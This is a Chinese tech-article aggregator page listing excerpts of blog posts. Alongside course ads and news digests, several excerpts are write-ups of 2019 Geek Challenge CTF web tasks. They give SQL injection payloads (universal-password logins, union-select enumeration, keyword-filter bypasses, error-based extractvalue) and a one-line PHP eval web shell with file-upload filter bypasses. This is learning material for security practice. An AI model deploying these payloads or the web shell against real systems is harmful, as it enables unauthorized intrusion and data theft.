ICode9

精准搜索请尝试: 精确搜索
  • 极客Java进阶训练营三期2021-09-07 12:34:35

    Java进阶训练营 突破能力瓶颈,到更好的公司拿更高的薪水 课程设计对标阿里 P7 胜任力模型 深度研究大厂 JD 和面试题 案例导向,在实战中巩固理论 简历直推一线互联网公司 有点基础的都可以学习   一、Java 基础 1.JDK 和 JRE 有什么区别? 2.== 和 equals 的区别是什么? 3.两个对象的

  • 极客大挑战 2019]Havefun2021-09-04 17:34:30

    极客大挑战 2019]Havefun 查看源码 get请求,cat=dog,输出flag

  • 极客兔兔博客笔记-GO语言高性能编程-常用数据结构2021-08-17 21:00:24

    参考博客:极客兔兔 字符串拼接方法的比较 strings.Builder和+ func builderConcat(n int,str string) string { var builder strings.Builder for i := 0;i<n;i++{ builder.WriteString(str) } return builder.String() } 当时用+拼接2个字符串时候是开

  • 极客大学java进阶训练营2021-08-09 02:32:45

    什么是链表? 2、链表的特点是什么? 3、链表的实现原理? 4、如何自己写出一个链表?     1、什么是链表? 链表是一种物理存储单元上非连续、非顺序的存储结构,数据元素的逻辑顺序是通过链表中的指针连接次序实现的。 每一个链表都包含多个节点,节点又包含两个部分,一个是数据域(储存节点含

  • [极客大挑战 2019]LoveSQL2021-08-08 23:00:06

    打开链接,出现登录框 首先用sql万能密码登录           使用MD5无法解密 测试注入点     判断注入点类型 password=e8671c7fcf1a0e6e8b0a14b267de947e 构造username,判断为字符型注入admin' and '1'='1成功登录 admin' and '1'='2登陆失败 判断列数 admin' order by 3 #

  • 极客大学Java进阶训练营2021笔记2021-08-07 01:31:22

    十三、Mybatis 125.mybatis 中 #{}和 ${}的区别是什么? 126.mybatis 有几种分页方式? 127.RowBounds 是一次性查询全部结果吗?为什么? 128.mybatis 逻辑分页和物理分页的区别是什么? 129.mybatis 是否支持延迟加载?延迟加载的原理是什么? 130.说一下 mybatis 的一级缓存和二级缓存? 131.my

  • [极客大挑战 2019]BabySQL2021-08-02 19:33:05

    admin'#万能密码,给出一段md5没啥鸟用。 试常规注入流程吧,先判断列数。 admin' order by 1#    or被过滤掉了呢,尝试大小写,注释符都无法绕过,双写有了新的报错,说明绕过成功,双写by,绕过成功。 增加到四列,出现报错    说明列数为3。一顿撸 -1' uniunionon selselectect 1,2,datab

  • 文件上传-[极客大挑战 2019]Upload 12021-08-01 16:03:19

    首先打开网址之后是一个文件上传      直接上传一句话木马 <?php @eval($_POST['attack']);?>    然后我们抓包改成Content-Type:image/jpeg   之后又发现其对文件后缀名进行了限制过滤了(绕过的方法php3,php4,php5,phtml,pht) 发现php3,php4,php5被过滤了将文件后缀改成

  • [极客大挑战 2019]LoveSQL2021-07-31 11:33:39

    admin'#登录爆出admin用户密码,MD5解密无果。 常规方法一顿撸。 admin' order by 4# 报错,字段数为3。 -1' union select 1,2,3# 报出显示位。 -1' union select 1,database(),3# 报出数据库名。 -1' union select 1,(select group_concat(table_name) from information_schema.tabl

  • [极客大挑战 2019]BuyFlag2021-07-26 17:32:10

    查看前段发现一段php if (isset($_POST['password'])) { $password = $_POST['password']; if (is_numeric($password)) { echo "password can't be number</br>"; }elseif ($password == 404) { echo "P

  • 极客大学云原生训练营笔记2021-07-26 01:32:59

    ,但过一段时间很快就忘了。究其原因,就是因为我们还不够熟练,记忆不够深刻。因此需要通过多刷几遍这样的笨方法来巩固自己的记忆。第二,面试时能够用于解决一道算法题的时间是有限的,而且面试时我们往往会紧张。因此我们必须要在面试前多加练习,将常见算法的解法练得非常熟练,这样才能在

  • 极客时间《设计模式之美》笔记---状态模式2021-07-25 20:58:47

    文章目录 什么是有限状态机?实现方法一:分支实现法实现方法二:查表法实现方法三:状态模式 什么是有限状态机? 有限状态机,英文翻译是Finite State Machine,缩写为FSM,简称为状态机。状态机有3个组成部分:状态(State)、事件(Event)、动作(Action)。其中,事件也称为转移条件(Transition Cond

  • 极客日报:阿里云公布IP地理位置库抄袭调查结果;华为云电脑8月16日将停止服务和运营;Chrome 92发布|2021-07-22 09:29:34

    一分钟速览新闻点! IP 地理位置库产品涉嫌侵权,阿里云回应:已达成和解华为云电脑 8 月 16 日将停止服务和运营QQ 音乐简洁版今日上线:极简设计,更好听,更纯粹,更流畅小米申请“雷军超大杯”、“XL CUP”等商标微信现已开通手表及手环支付,支持 Apple Watch 付款多家近 20 亿元捐赠驰

  • 极客日报:腾讯宣布捐赠1亿元驰援河南;苹果回应iPhone 安全隐患;贝索斯完成10分钟太空之旅2021-07-21 10:06:42

    一分钟速览新闻点! “搜狗输入法“重新上架各大安卓应用商店腾讯宣布向河南捐款1亿元 用于采购救灾物质华为注册自动驾驶 Autoware 商标微信内测客服功能腾讯起诉山寨微信系统获赔 1310 万贝索斯首飞成功,完成 10 分钟太空之旅半小时充电 4% 苹果 MagSafe 外接电池被网友吐槽美

  • 极客HTTP协议学习笔记破冰篇(1-7)2021-07-20 18:33:49

    极客HTTP协议学习笔记破冰篇(1-7) 前言各篇章笔记链接一、学习笔记1、HTTP的前世今生2、HTTP是什么3、与HTTP相关的各种概念(上)4、与HTTP相关的各种概念(下)5、常说的“四层”,“七层”网络分层怎么理解6、域名里的门道7、搭建HTTP实验环境 二、灵魂拷问,你记住知识点了吗?1、HTTP

  • [极客大挑战 2019]Http2021-07-19 12:29:33

    BUUCTF刷题记录 [极客大挑战 2019]Http 查看源码。。。一开始找不到,藏的真深。。。 真难找!! 复习一遍请求头 修改来源 Referer Referer: https://www.Sycsecret.com 提示修改浏览器 提示不是本地访问 修改X-Forward-For:127.0.0.1

  • 计算机网络 极客十道面试题2021-07-19 10:33:31

    目录TCP三次握手和四次挥手?为什么要进行握手为什么握手是三次而不是四次握手时候的序列号为什么不能从0开始HTTP中的缓存处理流程输入 url 后,网络世界发生了什么?HTTP长链接有什么优点?缺点介绍一下多播怎么实现的?服务器的最大并发连接数是多少?受制于tcp报头。其次是端口号TCP和UDP

  • 极客日报:微信自动抢红包软件被判赔 475 万;日本科学家打破网速全球纪录;JavaScript蝉联最受欢迎编程语言2021-07-19 09:30:27

    一分钟速览新闻点! 6700 万次下载,微信自动抢红包软件被判赔 475 万美团上线 “美团打车” 微信小程序腾讯回应 “造芯” :基于业务需要进行尝试 非通用芯片5G 700M 基站集采结果出炉华为占六成份额人人视频九成影视剧下架iPhone 13 系列进入量产 苹果多家代工厂「撒钱」招工消

  • 《零基础学Python》——极客时间——学习笔记2021-07-19 09:05:32

    第二章 Python基础语法 Python程序的书写规则 基础数据类型 类型判断 type() 强制类型转换 目标类型(要转换的数据) 变量的定义和常用操作 习题 题目: 练习一 变量的定义和使用 定义两个变量分别为美元和汇率通过搜索引擎找到美元兑人民币汇率使用Python计算100美元兑

  • 极客大学-架构实战营|第0期2021-07-18 09:30:05

    ## 极客大学-架构实战营|第0期 超清原画 完整无密 网盘下载       资源获取:网盘链接 业务架构 ├00开班典礼 │ ├3月23日 架构实战营0期 - 开营直播 1.mp4 ├01模块一:业务架构基本知识 │ ├直播未整理 │ │ ├第1课 什么是业务架构,你答对了吗.mp4 │ │ ├第2课 如何画出

  • buuctf刷题记录[极客大挑战 2019]Http2021-07-17 17:34:13

    目录 一、题目内容二、解题步骤 一、题目内容 http Burp suite 的使用 二、解题步骤 打开题目发现是个广告,差点以为走错了 先查看源码 提示去Secret.php 转到目标网址 提示我们不是来自https://www.Sycsecret.com 于是我们打开burp suite 在最后一行加上 referer:

  • 极客日报:B站就机房服务器故障道歉;罗永浩否认将启动自动驾驶项目;​亚马逊收购 Facebook 卫星互联网团队2021-07-14 09:30:34

    一分钟速览新闻点! B 站就机房服务器故障道歉 现在服务已经陆续恢复正常小米应用商店:通知开发者对 App 自查自检阿里巴巴宣布成立人工智能治理与可持续发展实验室罗永浩否认将启动自动驾驶项目《王者荣耀》6 月吸金近 2.77 亿美元,同比增长 21%美团:腾讯认购协议所载腾讯认购事

  • (wp)ctfweb-sql注入极客大挑战2021-07-12 22:30:52

    (wp)ctfweb-sql注入极客大挑战 我的blog,欢迎来玩 buuctf极客大挑战系列 sql注入 NO.1 EasySQL 题目如图: 先尝试 万能密码 ' or 1=1 # 结果一步得出答案… NO.2 LoveSQL 题目同上,没变化 尝试万能密码,找不到有效信息 尝试报错注入,寻找其他库/表: 1'and extractvalue(1,conca

  • 【极客头条征文】主编就是我2021-07-11 16:52:28

    前言:窗外,一座座高楼大厦拔地而起;窗内,一个人在互联网的世界里畅翔傲游;每天不定期的打开CSDN已经成为了我的工作和生活习惯,而【极客头条】这玩意儿让我欣喜所狂,比起博客的那种蜗牛般的回复速度,极客头条简直就像坐在新干线上一个极速。 推广 好东西自然要学会分享,传播的力量是伟大的

  • [极客大挑战 2019]HardSQL 1-SQL报错注入2021-07-07 15:31:53

    [极客大挑战 2019]HardSQL 试题地址:http://94d112f4-9aed-4f3e-b2ff-0c98f30a81b9.node4.buuoj.cn/ 先进行常规SQL注入:‘,’‘,order by,or and union 先进行简单测试,发现密码框可能存在SQL注入,然后进行以下测试,发现都是这个页面。 常规测试payload: //如下payload都是在密

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有